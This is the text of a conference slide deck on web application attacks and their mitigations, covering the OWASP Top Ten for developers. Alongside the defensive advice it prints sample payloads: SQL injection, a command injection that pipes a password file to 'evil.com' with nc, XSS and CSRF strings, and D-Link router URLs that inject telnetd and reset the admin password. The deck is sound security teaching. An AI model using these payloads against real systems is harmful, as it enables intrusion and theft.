Download - Attacking Web Applications

Attacking Web Applications

Sasha Goldshtein

CTO, Sela Group

@goldshtn blog.sashag.net

Join the conversation on Twitter: @SoftArchConf #SoftArchConf

Every web developer must be aware of the most common web attacks, risks, and mitigations.

Don’t fly blind.


Typical Risks

• Exposure of user information– Passwords, emails, identity theft

• Direct financial gain– Credit card details

• Creating a botnet– Using servers/user systems for malicious

activity

• Denial of service


Are they really after me?

1. They could be, if you’re important.2. They are after your users.3. They found you randomly on the web.


OWASP Top Ten1. Injection

2. Broken auth and session management

3. Cross-site scripting

4. Insecure direct object references

5. Security misconfiguration

6. Sensitive data exposure

7. Missing function level access control

8. Cross-site request forgery

9. Using vulnerable components

10.Unvalidated redirects and forwards


SQL Injection

• Suppose the user request parameter is …

' or '1'='1• Then the query we execute is … (note that and has precedence over or)

select * from users where name='' or '1'='1' and password='whatever'

db.ExecuteReader("select * from users where name='"

+ Request["user"] + "' and password='"+ Request["password"] + "'");



OS Command Injection

• Suppose we’re too lazy to perform DNS lookup, so we resort to the following:

• Suppose the hostname parameter is …foo || cat /etc/password | nc evil.com

• Then we end up sending the password file to evil.com!

• Most recent noisy exploit 10/9/2013

system("nslookup " + Request["hostname"]);


DEMOSQL injection and OS command injection


Mitigating Injections

• DO NOT trust user input

• DO NOT run code provided by the user

• DO NOT use blacklists for validation

• DO use SQL query parameters (?, @param, :param)

• DO use whitelists and regexes for validation

• DO fuzz your code with invalid input


Sessions and URLs

• DO NOT embed session id in URLs• DO NOT trust cookie contents• DO NOT trust URL query string contents• DO NOT use predictable session ids

http://example.com/cart.php?sess=127

• DO use a Secure, HttpOnly cookie for session id

• DO use long, random session ids


DEMOExploiting vulnerable session information


Use HTTPS Correctly

• DO NOT send sensitive information over HTTP

• DO NOT display login pages over HTTP

• DO NOT load HTTP frames/scripts/images in an otherwise HTTPs page

• DO insist on pure HTTPS for sensitive pages


DEMOManipulating HTTP traffic


Storing Sensitive Information

• DO NOT store anything you don’t have to store– Least responsibility principle

• DO comply with regulation for secure storage– E.g. if you store credit card details, you’re in

for some pain


Password Storage

• DO NOT store passwords in clear text

• DO NOT store encrypted passwords

• DO hash and salt passwords

• DO reject weak passwords during signup

• DO consider using OAuth

• DISCUSS which hash function to use– Super-slow (bcrypt) – subject to DOS– Super-fast (MD5, SHA1) – subject to cracking


DEMORainbow tables and weak passwords


Cross-Site Scripting (XSS)

• Injecting JavaScript into pages viewed by other users– Cookie stealing, information disclosure– DOM manipulation, tricking the user

• Temporary XSShttp://bad.com/?q=<script>alert(1);</script>

• Persistent XSS– You provide data to the server which is then

permanently displayed when users visit


DEMOPersistent and temporary XSS


Cross-Site Request Forgery (CSRF)

• Use the fact that the user is already authenticated to a website to generate requests on his behalf

<img src="http://forum.com/delete_profile.php?confirmed=True" />

• Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account


DEMOCSRF


70 Ways To Encode <


Mitigating XSS and CSRF

• DO NOT trust user input (déjà vu?)

• DO NOT allow GETs to modify state

• DO NOT rely on blacklists

• DO escape and sanitize HTML provided by the user

• DO generate anti-CSRF tokens and validate them

• DO validate Referer headers


Admin Consoles

• DO NOT leave admin consoles exposed to the Internet

• DO NOT provide “extra helpful” troubleshooting info

• DO restrict admin consoles to local network only

• DO whitelist IP addresses if absolutely necessary

Some auth cookies… yum!

Some auth cookies… yum!


DEMOLocating ELMAH error pages through Google


DLink DIR-615 and DIR-300Part 1

• OS command injectionhttp://<IP>/tools_vct.xgi?set/runtime/switch/

getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1

• CSRF to change admin password and enable remote administration (Internet-facing)

http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080


DLink DIR-615 and DIR-300Part 2

• Information disclosurehttp://<IP>/DevInfo.txt

• Insecure password storage$ cat var/etc/httpasswdadmin:admin


Summary & Call To Action

• Be aware of security risks and typical vulnerabilities

• Ensure your developers get up to date security training

• Review code for security, not just correctness

• If your web app is secure, attackers will try other routes

Thank You!

Sasha Goldshtein

CTO, Sela Group

@goldshtn blog.sashag.net